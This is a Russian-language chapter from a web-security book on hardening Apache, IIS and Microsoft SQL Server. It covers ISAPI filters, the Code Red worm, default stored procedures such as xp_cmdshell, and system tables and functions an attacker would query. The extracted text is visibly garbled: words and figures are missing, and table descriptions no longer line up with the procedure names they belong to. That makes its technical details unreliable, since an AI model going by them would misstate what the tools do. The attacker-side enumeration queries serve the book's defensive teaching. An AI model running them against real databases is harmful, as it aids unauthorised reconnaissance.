этого необходимо внести изменения в файл
сервера Apache, воспользовав
шись директивой VirtualHost.
<VirtualHost
TransferLog
log
</VirtualHost>
И так далее для каждого виртуального узла.
В отличие от виртуальных узлов, поддерживаемых на основе имени домена, установить
наличие узла, поддержка которого осуществляется на базе IP адреса, значительно сложнее,
поскольку каждый Web узел обладает своим отдельным и уникальным IP адресом. Пожа
луй, единственный способ такой идентификации заключается в проверке МАС адреса для
каждого IP адреса. Для этого злоумышленнику потребуется "прослушивать" локальную
сеть. Однако наиболее важно то, что механизм обнаружения существует, поскольку в дан
ном случае у каждого виртуального IP адреса будет один и тот же
Поддержка виртуальных узлов сама по себе не является угрозой для безопасности. Тем
не менее это может оказаться дополнительным фактором риска, поскольку при взломе
любого Web узла данной системы под угрозой окажутся также и все остальные узлы.
Серверные включения
Как отмечалось в главе серверные включения (Server Side Includes --- SSI) --- ди
рективы, которые включаются в HTML страницы и обеспечивают выполнение требуемых
действий на сервере. Технология SSI аналогична CGI и, как правило, используется для ге
нерации динамического содержимого Web страницы. В настоящее время сервером Apache
серверные включения SSI по умолчанию не поддерживаются, и это правильно. Однако за
частую на Web узлах эта возможность все же используется. В результате Web сервер обра
батывает все файлы с расширением
с учетом требований спецификации SSI.
Вопросы влияния технологии SSI на обеспечение безопасности рассматривались
в главе 1, поэтому сейчас не стоит повторять их еще раз. Однако если серверные
включения все же используются, удостоверьтесь в том, что запрещено использова
ние директивы exec cmd. Это можно осуществить, воспользовавшись аргументом
директивы Options файла httpd.conf сервера Apache.
CGI
Как уже упоминалось в главе 1, интерфейс CGI (Common Gateway Interface) --- это
один из базовых механизмов, используемых для обмена динамическим содержимым
62
Часть I. Будни электронной коммерции
в Web. Сервером Apache поддерживаются различные технологии CGI, а установка
соответствующих модулей не вызывает особых проблем.
Директива ScriptAlias
Директива ScriptAlias файла
сообщает серверу Apache о том, что в ука
занных далее каталогах содержатся выполняемые сценарии. Директива ScriptAlias
имеет примерно следующий вид:
ScriptAlias
/opt/apache/cgi bin
С помощью этой директивы определяется, что любой запрос, в котором указан ка
талог /cgi bin, на самом деле относится к каталогу /opt/apache/cgi bin. Такие дирек
тивы, как ScriptAlias, являются одним из способов обеспечения безопасности Web
сервера и позволяют наложить ограничения на то, где могут выполняться сценарии.
Обработчики
Обработчик (в терминах Web сервера) --- это механизм, предназначенный для обработ
ки Web запросов на основе расширения файла. Многообразие обработчиков определяется
разнообразием типов файлов, которые в настоящее время можно использовать в Internet.
При обработке некоторых файлов (.jsp,
и т.д.) требуется выполнять определенные
действия (что обеспечивается соответствующими механизмами Java, ASP и т.д.). С мо
мента появления Apache версии
в зависимости от имени файла можно явно задать
действия, которые будут выполняться при его обработке, а не использовать значения,
жестко заданные по умолчанию. Благодаря этому для файлов с нестандартными имена
ми разработчики могут самостоятельно указать необходимый обработчик.
Среди встроенных обработчиков имеется также обработчик, заданный по умол
чанию и предназначенный для обработки статического содержимого, в качестве ко
торого обычно используется код HTML. Кроме того, существуют и другие стан
дартные обработчики, в том числе mod a sis , mod_cgi, mod imap, mod_info,
и
Хотя все они являются встроенными, подключить их можно и вруч
ную, воспользовавшись директивой Action. Эта директива позволяет Web серверу об
рабатывать определенные запросы с помощью заданного сценария CGI. Так, напри
мер, для того чтобы обработка всех файлов с расширением .stu выполнялась с ис
пользованием специально разработанного сценария Perl, необходимо добавить в файл
следующие строки:
Action my file type
Для получения более подробной информации о сервере Apache и ознакомления с
теми мерами, которые позволят сделать его более защищенным, обращайтесь по адре
су:
Internet Information Server
компании Microsoft
Компания Microsoft уже достаточно давно рассматривает Web сервер IIS как важ
нейшее звено своей Internet стратегии. Microsoft настолько уверена в сервере IIS, что
начиная с версии NT 4.0 включает его в состав операционной системы Windows. И хотя
повсеместное распространение сервера IIS по прежнему недостижимо, а на фоне сер
вера Apache он выглядит еще более бледно, тем не менее этот программный продукт
действительно заслуживает внимания. Будет ли он доминировать на рынке и удастся
Глава 2.
и серверы баз данных
63
ли ему завоевать цифровой интерактивный мир, как этого хотелось бы Microsoft?
Ответ на этот вопрос можно получить только со временем. Однако используемая по
умолчанию конфигурация IIS может оказаться настоящим рогом изобилия различных
уязвимых мест, существующих в системе безопасности.
В данном разделе рассматриваются отдельные компоненты, оказывающие сущест
венное влияние на безопасность сервера IIS, а также его основные недостатки, которые
позволяют злоумышленнику превратить брандмауэр в настоящий швейцарский сыр.
Приложения ISAPI
Если у вас возник вопрос: "Что оказывает наибольшее влияние на безопасность
Web сервера
то единственным правильным ответом будет следующий: "Прило
жения, поддерживающие интерфейс ISAPI (Internet Server Application Programming
Интерфейс ISAPI позволяет расширить функциональность Web сервера IIS
обеспечивает возможность создания собственных программ обработки данных и за
просов, передаваемых на Web сервер, и манипулирования ими. Кроме того, с помо
щью
можно "отлавливать" все пакеты, поступающие на Web
сервер, и выполнять их предварительную обработку. Такой подход позволяет повы
сить контроль
и предотвращает атаки на Web серверы. Парадоксально, но
именно предварительная обработка пакетов открывает новые возможности для нару
шения защиты Web сервера. Как же это происходит? По умолчанию вместе с серве
ром IIS устанавливается большое число фильтров ISAPI, которые можно использовать
для проникновения на Web сервер. Почему это возможно? По закону больших чисел.
Имея достаточно точек входа на Web сервер, хакер сможет проникнуть на него, а
"виновными" в наличии множества таких путей оказываются фильтры ISAPI.
К огромному числу фильтров ISAPI, существующих в стандартном комплекте сер
вера IIS 5.0 для Windows 2000, относятся и представленные в табл.
Таблица 2.1. Фильтры ISAPI
Расширение Путь для выполнения
ISAPI
Описание
.asa
C:\winnt\system32\inetsrv\
asp.dll
.cdx
asp.dll
.cer
asp.dll
.htw
.ida
idq.dll
.idq
idq.dll
Active Server Page --- серверное расширение, обеспечи
вающее возможность динамической генерации содер
жимого
Active Server Page --- серверное расширение, обеспечи
вающее возможность динамической генерации содер
жимого
Active Server Page --- серверное расширение, обеспечи
вающее возможность динамической генерации содер
жимого
Active Server Page --- серверное расширение, обеспечи
вающее возможность динамической генерации содер
жимого
Расширение индексного сервера (Index Server)
Расширение индексного сервера (Index Server)
Расширение запросов данных Internet и индексного
сервера
64
Часть I. Будни электронной коммерции
Окончание табл.
Расширение Путь для выполнения
Описание
ISAPI
httpodbc.dll
.htx
C:\winnt\system32\inetsrv\
httpodbc.dll
. shtm
ssinc.dll
C:\winnt\system32\inetsrv\
ssinc.dll
C:\winnt\system32\inetsrv\
ssinc.dll
.htr
Средство связи с базами данных через
(Internet Database Connector)
Средство связи с базами данных через Internet --- IDC
(Internet Database Connector). Использует программный
интерфейс ODBC для взаимодействия с такими базами
данных, как SQL Server
Средство печати через Internet
Включения SSI. Обеспечивают возможность динамиче
ской генерации содержимого Web
Включения SSI. Обеспечивают возможность динамиче
ской генерации содержимого Web
Включения SSI. Обеспечивают возможность динамиче
ской генерации содержимого Web
Администрирование через Web. Предоставляет средст
ва выполнения административных функций через Web,
например изменения паролей
Хотя фильтры API позволяют расширить список функциональных возможно
стей Web сервера, они приводят также к росту количества потенциальных уязвимых
мест в его подсистеме
Возьмем, например, фильтры .idq и .ida. Именно
они в немалой степени несут ответственность за успех "вирусов червей" Code Red
и Nimda, ущерб от деятельности которых составляет более чем
000 на каждую
из компаний списка Fortune 1000. "Червь" Code Red использовал условие перепол
нения буфера в расширении
Уязвимость фильтра
индексного сервера по
зволила этому вирусу передавать запрос на Web сервер и инициировать переполне
ние буфера библиотеки DLL, обрабатывающей этот запрос. В результате на удален
ной системе можно было выполнять команды. Весь фокус этой атаки в
что ее
"детонатор" содержался в самом HTTP запросе. Поэтому такой запрос был почти
законным и пропускался практически всеми брандмауэрами и proxy серверами, ко
торые встречались на его пути. Результаты превзошли все ожидания: хакер смог
выполнять команды на удаленных системах и управлять ими.
Проблема с фильтрами имеет свое решение: нужно отслеживать все выпускаемые
Microsoft модули обновления и сразу же их устанавливать. Однако можно восполь
зоваться и другим способом (позволяющим существенно повысить общую защищенность
системы). Можно удалить с Web сервера все ненужные фильтры ISAPI, воспользовавшись
диспетчером служб Internet (Internet Services Manager). Для этого перейдите в диалоговое
окно свойств запушенного Web сервера. Затем перейдите во вкладку ISAPI Filters и удалите
ненужный фильтр (или все фильтры сразу). Далее перейдите во вкладку Home Directory и
щелкните на кнопке Configuration. Как видно на рис.
в появившемся диалоговом окне
содержится перечень фильтров и соответствующих им приложений, используемых по
умолчанию. И наконец, по очереди удалите все ненужные строки.
Замечание. То же самое можно выполнить и в диалоговом окне Web Master Properties.
Для этого щелкните правой кнопкой мыши на имени системы в окне диспетчера служб
Internet, выберите команду Properties и повторите все предыдущие шаги. Это позволит
удалить ненужные соответствия и фильтры ISAPI для всех существующих Web серверов.
Глава 2. Web серверы и серверы баз данных
65
App Mappings
а
Рис. 2.1. Фильтры и соответствующие им
приложения сервера IIS
Кроме того, отдельно разработанные или стандартные фильтры ISAPI могут быть
источником потенциальной угрозы. Фильтры ISAPI --- это программы, которые вы
полняют роль промежуточного слоя, перехватывая поступающие запросы еще до того,
как к их обработке приступит серверное
Удалить или отключить
можно следующие стандартные фильтры ISAPI:
• sspifilt
• Compression
•
• fpexedll.dll
Для их удаления просто отредактируйте свойства в соответствующих диалоговых окнах.
Виртуальные каталоги
Сервером IIS поддерживаются виртуальные каталоги, которые аналогичны средст
вам связывания системы UNIX. С помощью этих каталогов администратор может
связать какой либо каталог корневого каталога Web сервера с другим каталогом, на
ходящимся на жестком диске или на удаленной системе. К сожалению, используемые
по умолчанию виртуальные каталоги нужно удалить. Для этого просто воспользуйтесь
утилитой Internet Services Manager, щелкните на элементе, соответствующем требуе
мому Web серверу, а затем удалите ненужные виртуальные каталоги.
правило, после установки сервера IIS 5.0 можно удалить следующие виртуаль
ные каталоги.
• Scripts. Если нужно воспользоваться возможностями технологий CGI, ASP или
ISAPI, то должен существовать каталог с правами на выполнение сценариев.
Однако всегда лучше удалить такой каталог, поскольку он, как правило, и явля
ется целью взломщиков (рис. 2.2).
•
_vti_bin. Требуется для поддержки средств FrontPage.
• Printe rs. Обычно используется для печати в Web.
66
Часть I. Будни электронной коммерции
1WWW
for
[
|
I
|
|
F
t
are for Web on computer on
f
I
Low
Low
2.2. Фильтры
которые можно удалить
Эти и другие виртуальные каталоги можно удалить, не опасаясь какого либо на
рушения функционирования системы. Однако каждая система уникальна, поэтому
перед удалением каталогов обязательно согласуйте свои действия с системным адми
нистратором.
Файлы примеров
Как и при использовании любого другого приложения, в состав сервера IIS вклю
чено множество файлов с примерами. Как правило, эти файлы облегчают разработку
пользовательских модулей и помогают разобраться с теми или иными функциональ
ными возможностями системы. Однако, поскольку эти файлы устанавливаются по
умолчанию и предназначены для разработчиков, зачастую в них содержатся изъяны,
представляющие угрозу для безопасности. В системе Windows 2000, под управлением
которой запущен сервер IIS 5.0, по умолчанию устанавливаются следующие файлы.
Описание
Файлы примеров IIS
Документация IIS
Размещение по умолчанию
Виртуальный каталог
\IISHelp
Доступ к данным
\MSADC
Общее правило, которого следует придерживаться при каждой установке, заключа
ется в необходимости удаления таких файлов или, как минимум, определения для них
списка управления доступом (Access Control List --- ACL) с помощью разрешений
файловой системы NTFS. Удаление потенциально опасных файлов и каталогов --- это
самое простое и эффективное средство защиты, однако на практике такой подход не
всегда применим. Например, если в приложении используются определенные стан
дартные компоненты, то удаление файлов может привести к нарушению его функ
ционирования. В качестве альтернативы можно ограничить доступ к определенным
файлам и предоставлять его только тем пользователям, которым это действительно
необходимо, например администраторам (т.е. разработчикам).
Разрешения для доступа к файлам NTFS назначить очень просто, однако при не
корректном использовании они могут нарушить работу соответствующих приложений.
Для правильного применения списков ACL необходимо ответить на два вопроса.
Глава 2.
и серверы баз данных
67
• Какие файлы доступны для данного Web узла? (Возможно, в некоторых случаях
придется исходить из того, что должны быть доступны все файлы. Естественно,
это потребует определения соответствующих списков ACL.)
• Какие разрешения требуется определить, чтобы обеспечить необходимую функ
циональность?
Если известны ответы на эти
назначить списки ACL --- пара пустяков. На
рис. 2.3 приведен пример неудачно назначенных разрешений для доступа к каталогу
которые используются по умолчанию. Разрешать полный доступ всем поль
зователям --- это чрезвычайно опасный подход.
Однако такую ситуацию легко исправить. Просто удалите из списка Name группу
Everyone, щелкнув на кнопке Remove. Затем добавьте учетные записи
щелкнув
на кнопке Add, и предоставьте им право только чтения и, возможно, выполнения (в
зависимости от конкретной ситуации). Как видно из рис. 2.4, права доступа к ката
логу iisamples должны быть максимально ограничены.
|
|
Alow
Execute
Contents
Write
В
т
т
т
в
D
D
П
П
D
from
to
to
|
С
Control
Modify
Read
Write
|
parent
'
.
•
П
D
в
т
п
П
D
D
п1
_
Рис. 2.З. Свойства каталога iisamples
Рис. 2.4. Ограниченные права доступа к
каталогу
При использовании списков ACL значительно снижается уязвимость системы. Да
же если хакеру удастся запустить потенциально уязвимый файл, то он не сможет ис
пользовать его для того, чтобы записать какой либо другой файл в данный каталог
(что позволит ему расширить свое присутствие в системе).
Виртуальные узлы
Выше уже рассматривались вопросы поддержки виртуальных узлов сервером
Apache. Сервер IIS компании Microsoft тоже предоставляет такую возможность. При
этом для реализации схемы адресации и поддержки нескольких Web узлов можно ис
пользовать вторичные IP адреса.
Хотя виртуальный хостинг и не несет существенной угрозы безопасности, он все
же представляет большой интерес для взломщика. Если хакеру удастся определить,
что на данной системе поддерживаются виртуальные узлы, то вполне возможно, что
она окажется наиболее привлекательной целью, ради которой можно отказаться от
попыток взлома других узлов. Ниже показано, как в Windows обеспечить поддержку
виртуальных Web узлов в рамках одной системы.
68
Часть I. Будни электронной коммерции
Вторичные IP адреса
Первый шаг заключается в создании вторичных IP адресов. В системе Windows это
сделать несложно, и для большинства системных администраторов задача конфигури
рования сетевого интерфейса сводится к выполнению перечисленных ниже действий.
1. Щелкните на кнопке Start.
2. Выберите команду Settings.
3. Выберите команду Network and
Connections.
4. Выберите нужный сетевой интерфейс.
5. Щелкните на кнопке Properties (рис. 2.5).
6. Выберите компонент Internet Protocol (TCP/IP)
и щелкните на кнопке Properties.
7. Щелкните на кнопке Advanced... (рис. 2.6).
8. Во вкладке IP Settings щелкните на кнопке
Add (рис. 2.7).
9. Теперь можно добавить дополнительные IP
адреса, как показано на рис. 2.8.
Рис. 2.5. Окно состояния
Youanя»IP
«signed to
the
IP
en IP
.|172.16.
о.О
| 172.
1
Г
|
|WINS| |
Puc. 2.6. Вкладка основных свойств прото
кола Internet
Puc. 2.7. Вкладка дополнительных пара
метров
Рис. 2.8. Окно для добавления IP адресов
Глава 2.
и серверы баз данных
69
Поддержка нескольких Web узлов
Следующий этап настройки Web сервера IIS для поддержки нескольких Web узлов
заключается в том, чтобы создать серверы и связать их с созданными IP адресами.
Для этого выполните ряд действий.
1. Откройте окно диспетчера служб Internet, воспользовавшись командой Admin
istrative Tools.
2. Щелкните правой кнопкой мыши на имени системы.
3. Выберите команду
site.
4. Следуйте указаниям мастера и выберите новый IP адрес для созданного Web
сервера.
5. Выберите путь к отдельным файлам Web сервера.
6. Выполните оставшиеся шаги, чтобы задать разрешения на использование соз
данного Web сервера, которые будут установлены по умолчанию.
Безусловно, технология поддержки многих Web узлов важна для тех поставщиков
услуг, которые стремятся наиболее эффективно использовать свои ресурсы, и хакерам
это хорошо известно. Как следствие, в качестве жертвы взломщики зачастую выбира
ют провайдера услуг Internet: если получен доступ с правами администратора к одной
системе, то потенциальными жертвами становятся десятки Web узлов.
Серверы баз данных
Ключевым элементом любого Web приложения являются средства управления ба
зой данных, т.е. механизм хранения и извлечения данных, к которым могут обратить
ся как пользователи, так и хакеры. Сами данные --- это хранимая "в недрах" базы
данных пользовательская или системная информация. К сожалению, в мире баз дан
ных вопросам обеспечения безопасности не уделяется практически никакого внима
ния. В результате установленная система управления базами данных с параметрами,
заданными по умолчанию, имеет множество уязвимых мест, и в ближайшие годы ста
нет известно о многих других ее изъянах.
Основные базы данных, которые в
время используются в электронной
коммерции, --- это SQL
компании Microsoft и Oracle. Microsoft SQL Server явля
ется прекрасным примером системы управления базами данных, темпы развития ко
торой в Целом заметно опережали скорость реализации ее подсистемы защиты. Хотя
маркетинговая политика компании Oracle по продвижению своего продукта на рынок
могла вскружить голову, уязвимые места в системе Oracle также были обнаружены.
Данная глава будет посвящена именно этим двум ведущим коммерческим системам
управления базами данных. Однако сначала необходимо рассмотреть несколько важ
ных концепций, имеющих отношение к обоим программным продуктам.
Фальсификация SQL
Фальсификация SQL (SQL poisoning) --- это технология, которая появилась вслед
ствие простой ошибки и присутствует в любой среде, где используется база данных,
поддерживающая язык SQL (Microsoft SQL Server, Oracle, Access и т.д.). Конечно, это
получилось случайно, однако кто то где то (необязательно хакер) допустил ошибку
в адресе URL или случайно вставил в него лишний символ, а в результате интерак
тивное приложение стало отправлять в базу данных фиктивные или, что еще хуже,
некорректные данные, порождая ошибку.
70
Часть I. Будни электронной коммерции
Этот метод чрезвычайно опасен и часто встречается, невероятно способствуя осу
ществлению некоторых наиболее тщательно разработанных операций хакеров в Web.
Кроме того, такой подход позволяет злоумышленнику оставаться почти невидимым
для систем выявления вторжений.
Необходимо выделить два типа SQL фальсификации: генерация данных и генера
ция ошибок. Поскольку оба подхода достаточно опасны, им следует уделять серьезное
внимание, когда речь идет о проектировании приложений. Здесь мы лишь кратко
упомянем о них, а более подробно SQL фальсификация рассматривается в главе
Генерация данных
При атаках, основанных на генерации данных, хакер пользуется недостатками
архитектуры Web приложения, чтобы передать стандартные SQL строки в специально
разработанный SQL запрос, обходя при этом предполагаемый вывод данных и порож
дая дополнительные данные.
Генерация ошибок
При таких атаках цель заключается не обязательно в обходе существующих меха
низмов контроля и получении неавторизованного доступа к данным (хотя это являет
ся одним из побочных эффектов), а скорее в том, чтобы вывести на экран важную
информацию о конфигурации системы.
Операторы языка SQL
В табл. 2.2 представлены некоторые важные операторы SQL, позволяющие ощу
тить реальную угрозу, которой подвержены базы данных.
Более полную информацию об использовании этих операторов можно найти по
адресу:
com.
Таблица 2.2. Операторы SQL
Команда
Описание
ALTER DATABASE Позволяет изменить выбранную базу данных, добавив новые или удалив сущест
вующие файлы
ALTER TABLE
Позволяет изменить таблицу базы данных путем изменения, добавления или
ния столбцов
ALTER VIEW
Предназначен для изменения ранее созданного представления
CREATE DATABASE Создает новую базу данных
CREATE
Создает хранимую процедуру
CREATE SCHEMA Создает схему базы данных
CREATE TABLE Создает таблицу в базе данных
CREATE VIEW
Создает представление для таблицы (таблиц) базы данных
DELETE
Удаляет строки из таблицы
DROP DATABASE Уничтожает базу данных, удаляя ее файлы
DROP PROCEDURE Удаляет хранимую процедуру
DROP TABLE
Удаляет таблицу из базы данных
DROP VIEW
Удаляет представление из базы данных
Глава 2. Web серверы и серверы баз данных
71
Окончание табл. 2.2
Команда
Описание
INSERT
Добавляет новую строку таблице или представление
Выбирает поля из указанной таблицы (таблиц) для просмотра
USE
Изменяет контекст активной базы данных
Microsoft SQL Server
Среди современных Web серверов Microsoft SQL Server занимает лидирующее поло
жение. Во многом это объясняется его низкой стоимостью. За несколько последних лет
тысячи компаний и отдельных пользователей стали в той или иной форме использовать
SQL Server и образовали целое сообщество пользователей интерактивных баз данных.
С учетом такой популярности вполне закономерным выглядит повышенный интерес,
который проявляется к SQL Server враждебно настроенными пользователями. Вопросам
обеспечения безопасности SQL Server можно посвятить целую книгу. (Для получения
более подробной информации следует обратиться именно к такому источнику.) В дан
ной же главе рассматриваются основные недостатки этого программного продукта.
Стандартныехранимыепроцедуры
В комплект поставки SQL Server входит набор стандартных хранимых процедур,
благодаря использованию которых операторы SQL могут храниться и выполняться на
Web сервере, что позволяет существенно повысить производительность. Как и при
использовании любого другого программного обеспечения, установленного с пара
метрами, заданными по умолчанию, серверы баз данных также обладают потенциаль
ными изъянами, которыми взломщик может воспользоваться для выполнения не
санкционированных действий в системе.
Краткий перечень хранимых процедур, устанавливаемых по умолчанию вместе с
SQL Server 2000, приведен в табл. 2.3. Кроме того, в состав Microsoft SQL Server 2000
входят и дополнительные хранимые процедуры.
Однако процедуры, перечисленные в табл. 2.3, наиболее опасны в аспекте обеспе
чения безопасности.
Таблица 2.3.
и дополнительные хранимые процедуры базы
Процедура
Описание
Добавляет новое сообщение об ошибке в таблицу
Отображает или изменяет такие глобальные параметры конфигурации, как ре
жим аудита с2, допустимость обновлений, поддержка удаленного доступа, ин
тервал ожидания при удаленной регистрации, параметры пользовательских
соединений и т.д.
sp_help
Позволяет получить практически любую информацию о самом SQL сервере и
всех его объектах
Предоставляет список доступных баз данных. Если в качестве параметра ука
зано имя базы данных, то отображается информация о ней
Отображает информацию о разрешениях, связанных с объектами
sp_OACreate
Создает экземпляр
72
Часть I. Будни электронной коммерции
Продолжение табл. 2.3
Процедура
sp_OADestroy
sp OAGetProperty
sp_OASetProperty
sp_OAStop
sp_tables
sp_who
xp_dirtree
xp_dsninfo
xp
xp_fixeddrives
xp_getfiledetails
xp_getnetname
xp_grantlogin
xp_loginconfig
xp_logininfo
xp_ntsec_enumdomains
Описание
Уничтожает OLE объект
Отображает информацию об ошибках OLE Automation
Отображает значение свойства
Вызывает метод OLE объекта
Задает свойство OLE объекта
Прекращает выполнение хранимой процедуры OLE Automation
Добавляет или изменяет пароль для регистрации в системе SQL Server. При
мер: EXEC sp_password 'oldpass',
'sa'
Отображает таблицы текущей базы данных. Эту процедуру полезно использо
вать, если нужно получить перечень всех таблиц базы данных. Примеры: EXEC
sp_tables или use mydb; EXEC sp_tables;
Отображает информацию о соединениях с сервером SQL, например их статус;
регистрационное имя; имя узла, который инициировал установку соединения;
имя базы данных и команды, например SELECT
Выдает информацию о доступных драйверах
Выполняет произвольные команды с привилегиями администратора
Удаляет сообщение из почтового ящика Microsoft SQL Server
Позволяет получить данные о дереве каталога
Отображает информацию об источнике данных ODBC
Предоставляет информацию об источниках данных ODBC, имеющихся на
сервере
Отображает список групп Windows в данной системе. Пример: EXEC
Отображает журналы регистрации событий системы Windows
Предоставляет информацию о жестких дисках системы и объеме их свободно
го пространства в мегабайтах
Отображает свойства заданного файла. Пример: EXEC
Сообщает NetBIOS имя системы
Предоставляет права на регистрацию в системе заданному пользователю.
Пример: EXEC
grantlogin administrator
Регистрирует пользовательское сообщение в журнале SQL Server
Предоставляет информацию о режиме безопасности, используемом на сервере
Отображает регистрационные данные различных пользователей
Позволяет пользователю создать сжатый архив файлов, хранимых на сервере
(или любых файлов, к которым сервер может получить доступ)
Показывает версию Microsoft SQL Server, включая всю информацию об опера
ционной системе. Пример: EXEC
msver
Предоставляет перечень доменов, к которым сервер может получить доступ
Глава 2.
и серверы баз данных
73
Окончание табл. 2.3
Процедура
Описание
хр readerrorlog
xp_regdeletevalue
xp
xp_regread
xp_regwrite
xp_servicecontrol
xp_stopmail
xp_subdirs
xp_terminate_process
Выводит на экран журнал регистрации ошибок SQL Server
Читает сообщение из входного почтового ящика SQL Server
Позволяет добавить в системный реестр ключ с типом
Удаляет параметр системного реестра
Удаляет значение параметра системного реестра
Перечисляет ключи системного реестра
Выполняет инвентаризацию значений параметров системного реестра
Считывает значение ключа реестра
Удаляет многострочный ключ системного реестра
Позволяет присвоить значение параметру системного реестра
Отменяет права доступа для группы или отдельного пользователя Windows
Отправляет сообщение
Обеспечивает возможность запуска или останова службы Windows. При
мер: EXEC
Инициирует сеанс почтового клиента SQL Server
Завершает сеанс почтового клиента SQL Server
Предоставляет список подкаталогов
Прекращает процесс с заданным идентификатором (PID)
Не определена
Лучший способ управления хранимыми процедурами --- их удаление. Для этого
выполните следующее.
1. Воспользуйтесь утилитой Enterprise Manager,
в состав Microsoft
SQL Server, и откройте необходимую базу данных. Обычно такой базой данных
является Master.
2. Откройте папку Extended Stored Procedures этой базы данных.
3. Щелкните правой кнопкой мыши на нужной хранимой процедуре.
4. Для SQL сервера версий 7.x, 8.x, и 2000 для удаления хранимой процедуры
воспользуйтесь элементом Delete.
Если без комплексного анализа полностью удалить хранимые процедуры нельзя,
то можно просто ограничить права доступа к ним. Для того чтобы определить соот
ветствующие списки доступа (ACL), выполните ряд действий.
1. Воспользуйтесь утилитой Enterprise Manager и откройте необходимую базу
данных. Как правило, такой базой данных является Master.
2. Раскройте папку Extended Stored Procedures этой базы данных.
3. Щелкните правой кнопкой мыши на нужной хранимой процедуре.
4. В контекстном меню выберите команду Properties.
5. Перейдите во вкладку Permissions.
74
Часть I. Будни электронной коммерции
6. Внесите необходимые изменения в заданные разрешения.
В целом можно обеспечить достаточно высокий уровень защищенности баз дан
ных Microsoft SQL Server, однако в любом случае приведенные выше шаги позволят
максимально приблизиться к этой цели.
Базы данных, устанавливаемые по умолчанию
Знакомство с теми базами данных, которые можно найти в любой системе с уста
новленным SQL Server, позволит более полно представить то поле деятельности, на
котором хакеры активно занимаются своими "опытами". При установке сервера обя
зательно создается ряд баз данных, предназначенных для поддержки функциональных
возможностей SQL Server.
master База данных master предназначена для хранения системной информации об
характера, такой, как учетные регистрационные записи, конфигураци
онные параметры, а также системные хранимые процедуры. Без корректной
копии этой базы данных запуск SQL Server окажется невозможным.
msdb В базе данных msdb хранится информация службы SQL Server Agent, в частно
сти описание заданий, операторов и предупреждений.
model База данных model используется в качестве шаблона для всех создаваемых
пользовательских баз данных.
В базе данных tempdb хранятся такие временные объекты SQL Server, как вре
менные таблицы и хранимые процедуры.
Каждая из этих баз данных устанавливается по умолчанию и содержит таблицы,
которые будут интересовать взломщика в первую очередь.
Системные таблицы, создаваемые по умолчанию
Отдельного упоминания заслуживают следующие таблицы базы данных master.
Sysobjects Содержит все объекты указанной базы данных.
Sysdatabases Содержит перечень всех доступных баз данных, дату их создания, а
также соответствующее имя файла и полный путь.
Содержит пароли и идентификаторы всех зарегистрированных пользо
вателей.
Sysprocesses Содержит всю информацию о системных и клиентских процессах. Эти
данные могут оказаться полезными для определения того, что и кем
выполняется в конкретный момент.
А вот список стандартных таблиц,
в каждой пользовательской базе
данных.
Содержит информацию о каждом столбце всех таблиц и представле
ний. Кроме того, для каждого параметра хранимой процедуры содер
жит
use mydb; select * from
Содержит перечень всех файлов этой базы
use my db; select *
from sysfiles.
Sysobjects Содержит список всех объектов этой базы
use my db; select *
from sysobjects.
Глава 2. Web серверы и серверы баз данных
75
Содержит информацию о разрешениях, установленных для пользова
телей, групп и ролей.
Содержит описание разрешений, назначенных учетным записям безо
пасности с помощью операторов GRANT и DENY.
Systypes
Содержит описание всех системных и пользовательских типов данных,
используемых в заданной базе данных. Эта информация облегчает
анализ внутренней структуры базы данных.
Sysusers
Содержит перечень всех пользователей Windows и SQL Server, имею
щих доступ к базе данных. Use mydb; select * from sysusers;.
Эти системные и пользовательские таблицы могут оказаться настоящей находкой
для злоумышленника, который решил прибегнуть к атаке с применением кода SQL.
Более подробно подобные атаки рассматриваются в последующих главах.
Стандартные системные функции и функции
манипулирования метаданными
Поскольку в Microsoft SQL 2000 поддерживается язык
то им предос
тавляется огромный набор простых функций, которые можно вызывать непосредст
венно в строке SQL запроса и получать нужную информацию. Вот краткий список
наиболее полезных функций.
Возвращает идентификатор (ID) базы данных. Например:
db
или use mydb; select
Возвращает имя используемой в данный момент базы данных. Эта
функция позволяет определить, какая база данных используется по
умолчанию. Например: select db_name
Возвращает имя файла для заданного идентификатора (ID). Эту
функцию полезно использовать для получения списка всех файлов
одной базы данных. Например: select
или use mydb;
select
Возвращает системную дату и
select
Возвращает имя объекта базы данных. Эта функция полезна для
получения списка различных объектов базы
select object
или use mydb; select
Setuser
Позволяет переключиться в режим другого пользователя. Однако
эту функцию можно использовать, если для текущего пользователя
определена роль
или db_owner. setuser '
current_user Возвращает имя текущего пользователя. Эту функцию полезно ис
пользовать для идентификации пользователя, выполняющего запро
сы к базе данных, --- select
Для взломщика приведенные выше функции языка Transact SQL могут ока
заться весьма полезными. Стоит заметить, что это внутренние функции Microsoft
SQL Server 2000 и удалить их нельзя. Поэтому при обработке пользовательских запро
сов нужно должным образом отфильтровывать ненужные данные. Это будет неодно
кратно
на протяжении всей книги.
76
Часть I. Будни электронной коммерции
Представления информационной схемы
В стандарте
определены представления информационной схемы, обеспечи
возможность просмотра системных данных. Такие представления играют важ
ную роль, защищая, если это необходимо, базовые таблицы от изменений или повреж
дений. Однако эти представления могут подвести, когда дело касается схемы самой базы
данных. Для создания подобных представлений используется следующий синтаксис:
select * fro m
В результате обработки такого запроса будет получен список всех таблиц заданной
базы данных. Для взломщика не может быть ничего лучше, чем получить столь ценную
информацию. Кроме того, можно воспользоваться и другими ключевыми словами.
CHECK CONSTRAINTS
COLUMN
COLUMNS
USAGE
CONSTRAINT
KEY_COLUMN USAGE
REFERENTIAL CONSTRAINTS
ROUTINES
SCHEMATA
TABLE CONSTRAINTS
TABLES
VIEW COLUMN USAGE
USAGE
VIEWS
К сожалению, эти функциональные возможности являются неотъемлемой частью
Microsoft SQL Server, от использования которой нельзя отказаться.
Пароли
Вне всякого сомнения, наиболее распространенная в мире баз данных комбинация
"идентификатор пользователя/пароль" используется в Microsoft SQL Server: имя поль
зователя и пустой пароль. По умолчанию для учетной записи sa SQL сервера ис
пользуется пустой пароль. Тем самым база данных подвергается огромному риску.
Microsoft SQL Server: заключительные замечания
После установки в SQL сервере компании Microsoft присутствует целый ряд изъя
нов. Начиная с ошибок в синтаксическом анализаторе хранимых процедур и закан
чивая возможностью организации атак с использованием кода SQL, в этой системе
управления базами данных можно без проблем найти разнообразные уязвимые места,
которые могут вызвать повышенный интерес у хакеров. В большинстве случаев риск
можно снизить, прибегнув к превентивным мерам, однако некоторые из таких проце
дур могут негативно повлиять на общую функциональность системы. Прежде чем
предпринимать какие либо кардинальные шаги по повышению уровня защищенности,
обязательно согласуйте свои действия с администратором базы данных. Для получе
ния более подробной информации по защите SQL сервера обращайтесь по адресу:
Глава 2. Web серверы и серверы баз данных
77
.
Oracle
Конец 2001 и начало 2002 года ознаменовались смелыми утверждениями компании
